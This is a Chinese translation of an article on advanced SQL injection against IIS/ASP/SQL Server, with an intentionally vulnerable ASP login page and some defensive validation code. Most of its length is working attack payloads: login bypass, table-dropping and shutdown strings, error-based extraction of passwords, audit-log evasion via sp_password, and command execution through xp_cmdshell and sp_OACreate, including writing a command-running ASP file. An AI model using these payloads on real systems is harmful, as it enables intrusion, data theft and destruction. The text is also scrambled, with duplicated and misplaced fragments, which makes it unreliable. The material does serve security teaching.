SQL数据库的高级sql注入的一些知识

攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin― 攻击者可以使用users表中第一个用户,输入如下:
Username: or 1=1―
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下: Username: union
select 1,fictional_user,some_password,1―
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

  5.确定服务器的补丁

  • newpassword + “‘ where username = ‘” + rso(“username”) + “‘”
    rso(“username”)是登陆的查询返回的的用户名。
    用户名为admin’–,上面的查询就变成了这样: update users set password =
    ‘password’ where username = ‘admin’–‘
    因此攻击者可以通过注册了一个名叫admin’–的用户来把admin的密码改成他们自己的。
    这是个危险的问题,目前大部分的大型程序都试图过滤数据。最好的解决方法是拒绝非法输入,而不是简单的改变它。这有时候会导致一些问题,非法字符在某些地方是必要的,比如在名字带符号的情况:
    O’Brien
    从安全的角度,最好的解决办法是不允许出现单引号。如果这样不行,必须避免它们出现,这种情况下,最好保证所有要进入SQL语句的字符(包括从数据库里取出的字符)都被正确的处理过。
    即使这样攻击依然可能实现:如果攻击者可以不经过程序而往系统插入数据。比如攻击者有一个email接口,或者有一个可以控制的错误记录数据库。最好总是验证所有的数据,包括系统里的数据,验证函数调用很简单,比如:
    if ( not isValied( “email”, request.querystring(“emil”) ) ) then
    response.end 或者其他的方法 [长度限制]
    有时候输入对数据的长度加以限制会使攻击困难许多,这的确阻止了一些攻击,但一个很短的SQL语句也可能造成非常大的危害:
    Username: ‘;shutdown– 关闭SQL-Server,只用了12个字符。另一个例子: drop
    table
    如果长度限制是在字符串过滤后,另一个问题可能会发生。假设用户名被限制在16个字符之内,密码也被限制在16个字符之内,下面的用户名和密码结合可以执行’shutdown’命令:
    Username:aaaaaaaaaaaaaaa’ Password:’; shutdown–
    原因是程序过滤用户名最后的单引号,但是字符串又被切回到16个字符,删除了过滤的单引号。结果是密码域可以包含一些SQL,
    只要它以一个单引号开始,最后的查询会变成这样: select * from users where
    username = ‘aaaaaaaaaaaaaa” and password=”’;shutdown–
    用户名在查询里就变成: aaaaaaaaaaaaaaa’ and password=’
    后面附上的SQL被执行。 [躲避审核] SQL
    Server在sp_traceXXX系列的函数包含丰富审核接口,它可以记录任何数据库里的事件。这里我们特别感兴趣的是T-SQL事件,它记录了所有的SQL语句以及服务器上准备好的和已运行了的批处理。如果这个级别的审核开启的话,所有我们讨论的注入都将被记录下来有经验的数据库管理员将会看到所有发生的事情。但是如果攻击者附加下面的字符:
    sp_password 到一个Transact-SQL语句,这个审核记录如下: —
    ‘sp_password’ was found in the text of this event. — The text has been
    replaced with this comment for security reasons.
    这在所有的的T-SQL日志记录时都会发生,即使’sp_password’出现在注释中。这当然是在用户传递sp_password时有意隐藏用户的明文密码,但这对攻击者相当有用。
    所以,为了隐藏所有的注入攻击者只需要在注释符’–‘后面加一个字符串:
    Username: admin’–sp_password
    事实上一些执行了的SQL将被记录,但是查询字符串本身被强制不记录。 [防
    范]
    这部分讨论一些针对这些攻击的防范措施。输入验证已经讨论过了,一些代码也给出了,后面我们研究SQL-Server防范问题。
    [输入验证]
    输入验证是一个很复杂的问题。一般在一个开发项目中它很少被注意,因为过度的验证往往使一个程序的某部分被打断,所以输入验证是个难题。输入验证往往不加到程序的功能里,因而在工期将至而赶程序时不会被人注意。
    下面是关于验证的简单的讨论附示例代码,这个示例代码当然不能直接用在程序里,但可以很好的说明不同的策略。
    各种数据验证的途径可以分类为以下几种: 1)整理数据使之变得有效
    2)拒绝已知的非法输入 3)只接受已知的合法的输入
    有很多概念上的问题;首先,开发者没有必要知道非法数据由什么组成,因为新形式的非法数据随时都可能产生。第二,改变数据会改变它的长度,这样会导致前面提到的问题。最后,还有需要对系统已有数据的重用的话有二次注入的问题.
    解决方案2也会遇到和1的一些相似的问题,了解非法数据会过时,因为新的攻击技术也在发展。
    解决方案3可能是三种方法中最好的,但是比较难于执行。
    从安全角度来考虑可能最好多解决方法是把解决方案2和3结合起来只允许合法的输入,然后再寻找非法字符。
    一个必须结合这两种途径的例子是带有连字符的名字的问题: Question
    Bassington-Bassington
    我们必须在合法输入里允许连字符号,但是也要明白字符串’–‘在SQL-Server里意味着什么。
    当数据整理结合了非法字符验证时另一个问题就会发生。假设我们应用“非法字符探测器”来探测’–‘,’select’和’union’”后使用“数据整理过滤器”删除单引号,攻击者就可以指定这样的输入:
    uni’on sel’ect @@version-‘-
    因为单引号被过滤器删除了,攻击者可以把单引号散布于它的已知的非法字符串里来躲避检查。
    下面是一些验证的代码: 方法1-躲避单引号 复制代码 代码如下: function escape( input )
    input = replace(input, “‘”, “””) escape = input end function
    方法2-抵制已知的非法输入 复制代码
    代码如下: function validate_string( input ) know_bad = array(
    “select”, “insert”, “update”, “delete”, “drop”, “–“, “‘”)
    validate_string = true for i = lbound( know_bad ) to ubound(
    known_bad ) if( instr( 1, input, known_bad(i), vbtextcompare) 0 )
    validate_string = false exit function end if next end function
    方法3-只允许合法输入 复制代码 代码如下:
    function validatepassword( input ) good_password_chars =
    “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
    validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 )
    if ( instr( good_password_chars, c ) = 0 ) then validatepassword =
    false exit function end if next end function

看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用#限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

  • rso(“username”) + “‘”
    rso(“username”)为登陆查询中返回的用户名  **
  1. 如果ASP脚本使用了封装传递参数给存储过程的过程对象(如ADO
    command对象,和参数集合一起使用的)那么它通常就很安全了,但是这还要取决于对象的执行。
    明显的,最好习惯于验证所有的用户输入,因为新的攻击技术会不停的涌现。
    为了说明存储过程查询的注入,运行下面的SQL语句: sp_who ‘1’ select *
    from sysobjects 或者 sp_who ‘1’ ; select * from sysobjects
    任何附加语句在存储过程执行后还是可以执行。 [高级Sql注入]
    一个应用程序通常过滤单引号,另一方面限制用户的输入,比如限制长度。
    在这里,我们将讨论一些绕过一些明显的SQL注入防范的和长度限制的技巧。
    [没有符号的字符串]
    有时候,开发人员可能已经通过过滤单引号来保护应用程序,比如用VBScript的’replace’函数:
    复制代码 代码如下: function escape( input
    ) input = replace(input, “‘”, “””) escape = input end function
    不可否认,这会阻止所有的对我们上面给出的对示例站点的攻击,删除’;’字符也会起作用。但是,在一个大的程序里一些用户输入可能被假定为数值型。这些值没有限制,提供了很多可以注入的地方。
    如果攻击者希望创建一个字符串值而不使用引号,他们可以用’char’函数。例如:
    复制代码 代码如下: insert into users
    values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
    char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
    它是一个往表里插入字符的不带引号的查询语句。
    当然,如果攻击者使用一个数值型的用户名和密码的话,下面的语句也同样可以很好的执行:
    insert into users values( 667, 123, 123, 0xffff)
    因为SQL-Server自动将数值型的转换成’varchar’类型,类型转换是默认的。
    [SQL二次注入]
    即使一个程序总是过滤单引号,攻击者仍然可以先注入SQL作为数据存放在数据库里然后被程序再次使用。
    比如,一个攻击者可能通过注册,创建一个用户名 Username: admin’–
    Password: password 程序正确的过滤了单引号,’insert’语句如下: insert
    into users values ( 123, ‘admin”–‘, ‘password’, 0xffff)
    我们假设程序允许用户更改密码,ASP脚本在设置新的密码前先确认用户旧密码正确。代码可能这样写:
    复制代码 代码如下: username = escape(
    Request.form(“username”) ); oldpassword = escape(
    Request.form(“oldpassword”) ); newpassword = escape(
    Request.form(“newpassword”) ); var rso =
    Server.CreateObject(“ADODB.Recordset”); var sql = “select * from users
    where username = ‘” + username + “‘ and password = ‘” + oldpassword +
    “‘”; rso.open( sql, cn ); if (rso.EOF) { …
    设置新密码的查询语句可能这样写的: sql = “update users set password = ‘”

我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码: <HTML <HEAD
<TITLELogin Page</TITLE </HEAD

Select
id,forename,surname from authors where forename=’jo’hn’ and
surname=’smith’

[概 要] 这篇文章讨论常用的”sql注入”技术的细节,应用于流行的Ms
IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家。
[介 绍]
结构化查询语言(SQL)是一种用来和数据库交互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99])。SQL运行的典型的操作是“查询”,它是可以让数据库返回“查询结果记录集”的语句集合。SQL语句可以修改数据库的结构(用数据定义语言”DDL”)和操作数据库里的数据(用数据操作语言”DML”)。我们在这里着重讨论Transact-SQL(交互式SQL),应用于SQL-Server的SQL一种方言(非标准SQL)。如果攻击者可以插一系列的SQL语句进入应用程序的数据查询时,Sql注入攻击就可能发生。
一个典型的SQL语句是这样的: select id, forename, surname from authors
这个查询语句将会从’authors’表中返回’id’,’forename’和’surname’列的所有行。返回的结果集也可以加以特定条件’author’限制:
select id, forename, surname from authors where forename = ‘john’ and
surname = ‘smith’
注意这里很重要的一点是’john’和’smith’是被单引号引住的,假设’forename’和’surname’字段是来自于用户的输入,攻击者就可能通过输入非法字符串来对这个查询进行SQL注入:
Forename:jo’hn Surname: smith 查询语句就会变成: select id, forename,
surname from authors where forename = ‘jo’hn’ and surname = ‘smith’
当数据库试图执行这个查询,它会返回这样的错误: Server:Msg 170, Level 15,
State 1, Line 1 Line 1:Incorrect syntax near ‘hn’
这是因为插入的单引号破坏了原来单引号引住的数据,数据库执行到’hn’时失败。如果攻击者这样输入:
Forename: jo’; drop table authors– Surname:
…authors表就会被删掉,原因过一会再解释。
似乎通过删除用户输入的字符串中的单引号或者通过一些方法避免它们出现可以解决这个问题。诚然如此,但是要实施这个解决方法还有很多的困难。因为首先:不是所有的用户提交的数据都是字符串形式,比如我们的用户输入通过’id'(看上去是个数字)来选择一个用户,我们的查询可能会这样:
select id,forename,surname from authors where id=1234
在这种情况下攻击者可以轻易的在数值输入后面添加SQL语句。在其他SQL方言中,使用着各种分隔符,比如MS
Jet DBMS引擎,日期可以用’#’符号来分隔。
其次,避免单引号并不像开始我们想象的那样是必要的解决办法,原因下面讨论。
我们将以Active Server
Pages(ASP)登陆页面为例子来详细说明,它访问一个Sql-Server数据库并且验证一个到我们假想的程序的访问。
这是用户填写用户名和密码的表单页面: 复制代码 代码如下: HTML HEAD TITLELogin
Page/TITLE /HEAD BODY bgcolor=’000000′ text=’cccccc’ FONT Face=’tahoma’
color=’cccccc’ CENTERH1Login/H1 FORM action=’process_login.asp’
method=post TABLE TRTDUsername:/TDTDINPUT type=text name=username
size=100%width=100/INPUT/TD/TR TRTDPassword:/TDTDINPUT type=password
name=password size=100% width=100/INPUT/TD/TR /TABLE INPUT type=submit
value=’Submit’ INPUT type=reset value=’Reset’ /FORM /FONT /BODY /HTML
这是’process_login.asp’的代码, 它处理用户登陆: 复制代码 代码如下: HTML BODY bgcolor=’000000′
text=’ffffff’ FONT Face=’tahoma’ color=’ffffff’ STYLE p { font-size=20pt
! important} font { font-size=20pt ! important} h1 { font-size=64pt !
important} /STYLE %@LANGUAGE = JScript % % function trace( str ) { if(
Request.form(“debug”) == “true” ) Response.write( str ); } function
Login( cn ) { var username; var password; username =
Request.form(“username”); password = Request.form(“password”); var rso =
Server.CreateObject(“ADODB.Recordset”); var sql = “select * from users
where username = ‘” + username + “‘ and password = ‘” + password + “‘”;
trace( “query: ” + sql ); rso.open( sql, cn ); if (rso.EOF) {
rso.close(); %FONT Face=’tahoma’ color=’cc0000′ H1 BRBR CENTERACCESS
DENIED/CENTER /H1 /BODY /HTML % Response.end return; } else {
Session(“username”) = “” + rso(“username”); % FONT Face=’tahoma’
color=’00cc00′ H1 CENTERACCESS GRANTEDBR BR Welcome, %
Response.write(rso(“Username”)); Response.write( “/BODY/HTML” );
Response.end } } function Main() { //Set up connection var username var
cn = Server.createobject( “ADODB.Connection” ); cn.connectiontimeout =
20; cn.open( “localserver”, “sa”, “password” ); username = new String(
Request.form(“username”) ); if( username.length 0) { Login( cn ); }
cn.close(); } Main(); % 这里讨论的是’process_login.asp’中的创建’query
string’的部分: var sql = “select * from users where username = ‘” +
username + “‘ and password = ‘” + password + “‘”;
如果用户指定了下面这样的数据: Username: ‘; drop table users– Password:
‘users’表会被删除,所有用户都不能登陆。’–‘是Transact-SQL(交互式SQL)的单行注释符,’;’标志着一个查询的结束另一个查询的开始。用户名最后的’–‘用来使这个特殊的查询无错误结束。
攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆:
Username: admin’–
攻击者可以通过下面的输入以用户表里的第一个用户来登陆: Username: ‘ or
1=1– …更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆:
Username: ‘ union select 1, ‘fictional_user’, ‘somoe_password’, 1–
因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。
[通过错误信息获取信息] 这个技术是David
Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。
为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的”user”表是用下面的语句建立的:
复制代码 代码如下: create table users( id
int, username varchar(255), password varchar(255), privs int )
并且插入了下面的用户: insert into users values( 0, ‘admin’, ‘r00tr0x!’,
0xffff ) insert into users values( 0, ‘guest’, ‘guest’, 0x0000 ) insert
into users values( 0, ‘chris’, ‘password’, 0x00ff ) insert into users
values( 0, ‘fred’, ‘sesame’, 0x00ff )
我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,’priv’字段的重要性还不清楚。攻击者可能插入’1’,给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。
对于攻击者来说幸运的是:如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。
(下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的)
首先,攻击者要确定查询的表名和字段名。要做到这点,攻击者可以使用’select’语句的’having’子句:
username: ‘ having 1=1 —
这会引起下面的错误(译者注:having字句必须和GROUP
BY或者聚合函数一起配合使用,否则出错): 复制代码 代码如下: Microsoft OLE DB Provider
for ODBC Drivers error ‘80040e14’ [Microsoft][ODBC SQL Server
Driver][SQL Server]Column ‘users.id’ is invalid in the select list
because it is not contained in an aggregate function and there is no
GROUP BY clause. /process_login.asp, line 35
所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上’group
by’子句继续得到其他列名,如下: 复制代码
代码如下: username: ‘ group by users.id having 1=1 —
(结果产生这样的错误) Microsoft OLE DB Provider for ODBC Drivers error
‘80040e14’ [Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘users.username’ is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35 最后攻击者得到了下面的’username’: ‘ group
by users.id, users.username, users.password, users.privs having 1=1–
这句没有错误,相当于: select * from users where username = ”
所以攻击者知道了查询只是关于’users’表的,并且顺序使用了列’id,username,password,rpivs’。
如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子:
Username: ‘ union select sum(username) from users–
这利用了SQL-Server试图在确定两行是否相同之前先执行’sum’子句的特性,计算文本域的和会返回这样的信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告诉我们’username’字段的类型是’varchar’。相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我们可以用这个技术来大概地确定数据库内各列的类型。
这样攻击者就可以写出一个格式完美的’insert’语句: Username: ‘; insert
into users values( 666, ‘attacker’, ‘foobar’, 0xffff )–
但是,这个技术的潜力不止这些。攻击者可以利用任何错误信息来暴露系统环境或者数据库信息。执行下面的语句可以得到一个标准错误信息的清单:
select * from master..sysmessages 检查这个清单可以发现很多有趣的信息。
一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。以我们登陆页的例子来说,使用下面的’username’将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息:
Username: ‘ union select @@version,1,1,1– Microsoft OLE DB Provider for
ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server
Driver][SQL Server]Syntax error converting the nvarchar value
‘Microsoft SQL Server 2000 – 8.00.194 (Intel X86) Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on
Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type
int. /process_login.asp, line 35
这试图将内置常量’@@version’转换成整型,因为’users’表第一列是整数。
这个技术可以用来读取任何数据库的任何表的任何内容,如果攻击者对用户名和密码感兴趣,他们就可以从’users’表读用户名:
Username: ‘ union select min(username),1,1,1 from users where username
‘a’– 这将选出比’a’大的最小用户名,而且试图将它转换成一个整数: Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the varchar
value ‘admin’ to a column of data type int. /process_login.asp, line 35
攻击者就知道’admin’帐号存在,他现在可以把他发现的用户名放进’where’子句来反复测试这行:
Username: ‘ union select min(username),1,1,1 from users where username
‘admin’– Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value ‘chris’ to a column of data type int.
/process_login.asp, line 35 一旦攻击者确定了用户名,他就可以搜集密码;
Username: ‘ union select password,1,1,1 from users where username =
‘admin’– Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value ‘r00tr0x!’ to a column of data type int.
/process_login.asp, line 35
一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值:
复制代码 代码如下: begin declare @ret
varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+username+’/’+password
from users where username@ret select @ret as ret into foo end
攻击者用这个’username’登陆(明显都在同一行) Username: ‘;begin declare
@ret varchar(8000) set @ret=’:’ select @ret=@ret+’
‘+username+’/’+password from users where username@ret select @ret as ret
into foo end–
这创建了一个只包含单列’ret’的表’foo’,而且把我们的字符串放在里面。通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。
之后攻击者选择查询表里的字符串,就像前面说的: 复制代码 代码如下: Username: ‘ union select
ret,1,1,1 from foo– Username: ‘ union select ret,1,1,1 from foo–
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value ‘: admin/r00tr0x! guest/guest
chris/password fred/sesame’ to a column of data type int.
/process_login.asp, line 35 然后删除这个表: Username: ‘; drop table
foo–
这些例子仅仅揭开了这项技术的神秘面纱,不用说,如果攻击者可以从数据库获得丰富的错误信息,他们的工作将大大的简化。
[更深入的访问]
一旦攻击者可以控制数据库,他们可能想通过这些权限来获得对网络更多的控制,可以通过很多方法来达到这一目的:
1.利用xp_cmdshell扩展存储以SQL-Server用户的身份在数据库服务器上执行命令
2.利用xp_regread扩展存储读取注册表的键值,也包括SAM(只要SQL-Server是以一个本地帐号运行的)
3.用其他的扩展存储改变服务器设置 4.在联合服务器上执行查询
5.创建客户扩展存储从而在SQL-Server进程内运行exploit 6.用’bulk
insert’语句去读服务器上任何文件 7.用bcp在服务器上创建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程来创建ActiveX对象来完成asp脚本可以做的任何事情
这些只是常见的攻击方法的一部分;攻击者也很可能通过其他方法来达到目的,我们列举这些SQL-Server相关的攻击方法是为了说明如果程序可以被注入SQL语句时可能会发生什么,我们将依次给出以上各种情况的对策。
[xp_cmdshell]
扩展存储的本质是编译了的动态链接库(DLLs),它用SQL-Server指定的调用方式去运行接口函数。他们允许SQL-Server程序拥有了和c/c++一样的功能,是个非常有用的特性。SQL-Server内置了大量的扩展存储,而且有各种各样的函数比如发送邮件和更改注册表。
xp_cmdshell是一个内置的扩展存储,它允许执行任意的命令行程序。例如:
exec master..xp_cmdshell ‘dir’
将会获得一个SQL-Server进程所在工作目录的列表 exec master..xp_cmdshell
‘net1 user’ 将提供主机用户的列表。如果SQL
Server正常的以本地’system’帐号或者’domain
user’帐号运行,攻击者可以造成更严重破坏。 [xp_regread]
另外一个有用的内置的扩展存储是xp_regXXX函数 xp_regaddmultistring
xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues
xp_regread xp_regremovemultistring xp_regwrite
其中一些函数的用法的举例: exec xp_regread HKEY_LOCAL_MACHINE
‘SYSTEMCurrentControlSetServiceslanmanserverparameters’,
‘nullsessionshares’ (它决定服务器的空连接式共享是否可用) exec
xp_regenumvalues HKEY_LOCAL_MACHINE
‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’
(它显示所有的服务器上SNMP公共的设置,通过这个信息,攻击者可以在相同的网络区域里重新配置网络设置,因为SNMP共有设置很少被改变而且由很多主机共享)
可以想象攻击者怎样利用这些函数来读取SAM文件,改变系统设置在重新启动后就被服务的应用,或者在用户下一次登陆时运行任意命令。
[其他扩展存储]
xp_servicecontrol扩展存储允许用户启动,停止,暂停或者运行服务。 exec
master..xp_servicecontrol ‘start’, ‘schedule’ exec
master..xp_servicecontrol ‘start’, ‘server’
下面是一些其他有用的扩展存储表: xp_availablemedia
显示机器上可用的驱动器 xp_dirtree 获得一个目录树 xp_enumdsn
列举服务器上的ODBC数据源 xp_loginconfig 显示服务器的安全状态信息
xp_makecab 允许用户在服务器上创建压缩文件(或者任何服务器可以访问的文件)
xp_ntsec_enumdomains 列举服务器可以访问的域 xp_terminate_process
结束一个给定PID进程 [联合服务器]
SQL-Server提供了一个服务器联合的机制,就是允许一个数据库服务器上的查询操作其他服务器的数据。这些联合设置存放在master..sysservers表里,如果一个相连的服务器使用了’sp_addlinkedsrvlogin’存储过程,一个自动的登陆了的连接已经存在,可以通过它不登陆而访问该服务器。’openquery’函数允许查询在联合服务器上执行。
[用户自定义扩展存储]
扩展存储的API是相当简单的,创建一个带有恶意代码的扩展存储DLL也是相当容易的。通过命令行有很多方法将DLL上传到服务器,还有其他的很多方法包括各种通信机制来自动实现,比如HTTP下载和FTP脚本。
一旦DLL文件出现在服务器上SQL-Server可以访问,这不一定需要SQL-server本身,攻击者可以通过下面添加扩展存储(这里,我们的恶意扩展存储是个用来操作服务器的文件系统小的木马)
sp_addextendedproc ‘xp_webserver’, ‘c:tempxp_foo.dll’
扩展存储就可以通过一般的方法调用: exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它: sp_dropextendedproc
‘xp_webserver’ [向表中导入文本文件] 利用’bulk
insert’语句,可以把一个文本文件的内容插入进一张临时表,我们简单的创建一个表:
create table foo( line varchar(8000) ) 然后执行bulk
insert来插入数据来自于一个文件: bulk insert foo from
‘c:inetpub\process_login.asp’
通过上面介绍过的错误信息技巧就可以得到数据,或者通过一个’union’查询,把文本数据作为查询的数据返回。这对于获得存储在数据库里的脚本如asp脚本很有用。
[利用BCP创建文本文件] 利用和’bulk
insert’作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具’bcp'(‘bulk
copy
program’),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为攻击者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,攻击者可以利用它。
命令行格式如下: bcp “SELECT * FROM test..foo” queryout
c:inetpub\runcommand.asp -c -Slocalhost -Usa -Pfoobar
‘S’参数是要运行查询的服务器,’U’参数是用户名,’P’是密码,这里的密码是’foobar’。
[SQL-Server 里的ActiveX自动脚本]
SQL-Server提供了一些内置的扩展存储,允许在SQL-Server内创建ActiveX自动脚本。这些脚本在功能上和windows
scripting
host上运行的脚本或者asp脚本(通常用Javascript或者Vbscript编写)一样,脚本创建自动对象并且通过他们产生作用。一个用Transact-SQL写的自动脚本可以做任何asp脚本或者WSH脚本能做的事。
下面提供一些例子来说明:
1)这个例子用’wscript.shell’对象创建一个notepad的实例(当然这里也可以是任何命令行命令)
复制代码 代码如下: — wscript.shell
example declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec
sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
在我们的例子里可以使用这样的用户名(都在一行): Username: ‘; declare @o
int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o,
‘run’, NULL, ‘notepad.exe’–
2)这个例子用’scripting.filesystemobject’对象去读已知的文本文件: 复制代码 代码如下: —
scripting.filesystemobject example – read a known file declare @o int,
@f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate
‘scripting.filesystemobject’, @o out exec sp_oamethod @o,
‘opentextfile’, @f out, ‘c:boot.ini’, 1 exec @ret = sp_oamethod @f,
‘readline’, @line out while( @ret = 0 ) begin print @line exec @ret =
sp_oamethod @f, ‘readline’, @line out end
3)下面的例子创建一个asp脚本执行任意命令: 复制代码 代码如下: —
scripting.filesystemobject example – create a ‘run this’ .asp file
declare @o int, @f int, @t int, @ret int exec sp_oacreate
‘scripting.filesystemobject’, @o out exec sp_oamethod @o,
‘createtextfile’, @f out, ‘c:inetpub\foo.asp’, 1 exec @ret =
sp_oamethod @f, ‘writeline’, NULL, ‘ ‘ 需要注意的很重要的一点是Windows
NT4,IIS4平台asp脚本将会以’system’的帐号运行,而在IIS5他们会以低权限的IWAM_xxx帐号运行。
4)这个例子(稍带欺骗性)说明这项技术的灵活性,它用’speech.voicetext'(译者注:参考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)对象,使SQL
Server说话: 复制代码 代码如下: declare
@o int, @ret int exec sp_oacreate ‘speech.voicetext’, @o out exec
sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’ exec sp_oasetproperty
@o, ‘speed’, 150 exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel
servers are belong to,us’, 528 waitfor delay ’00:00:05′
这当然也可以在我们的例子里使用,通过指定下面的’username'(注意例子不只是注入一段脚本,同时也以’admin’的身份登陆了程序)
用户名: admin’;declare @o int, @ret int exec sp_oacreate
‘speech.voicetext’,@o out exec sp_oamethod @o, ‘register’, NULL,
‘foo’,’bar’ exec sp_oasetproperty @o, ‘speed’, 150 exec sp_oamethod
@o, ‘speak’, NULL, ‘all your sequel servers are belong to us’, 528
waitfor delay ’00:00:05′- [存储过程]
传统的认识是如果ASP程序使用了数据库系统的存储过程,那么就不可能SQL注入了。这句话不完全对,这依赖于ASP脚本调用存储过程的方式。
本质上,一个带参数的查询执行了,用户提供的参数就被安全的传给查询,SQL注入就不可能了。但是,如果攻击者可以对无数据部分的查询语句施加任何影响,他们仍然可能控制数据库。
一个有用的规则是: 1.
如果ASP脚本创建了一个提交给服务器的SQL查询语句,这是很容易被SQL注入的,即使它使用了存储过程。

这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
Username: union select min(username),1,1,1 from users where usernamea―
这句选择users表中username大于a中的最小值,并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07

  将获得SQLSERVER进程的当前工作目录中的目录列表。

出现问题的地方是process_lgin.asp中产生查询语句的部分: Var sql=select
* from users where username=+username+ and password=+password+;
如果用户输入的信息如下: Username:;drop table users― Password:
数据库中表users将被删除,拒绝任何用户进入应用程序。―符号在Transact-SQL中表示忽略―以后的语句,;符号表示一个查询的结束和另一个查询的开始。―位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

Exec
master..xp_cmdshell ‘dir’

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们username字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username: union select sum(id) from users― Microsoft OLE DB Provider
for ODBC Drivers error 80040e14

  Xp_ntsec_enumdomains 列举服务器可以进入的域
  Xp_terminate_process
提供进程的进程ID,终止此进程

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an
SQL statement containing a UNION operator must have an equal number of
expressions in their target lists. /process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如: Username:;insert into
users values(666,attacker,foobar,0xffff)―
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
select * from master ..sysmessages 解释这些将实现有趣的消息。

  然后丢弃(删除)表来清楚脚印:

介绍:
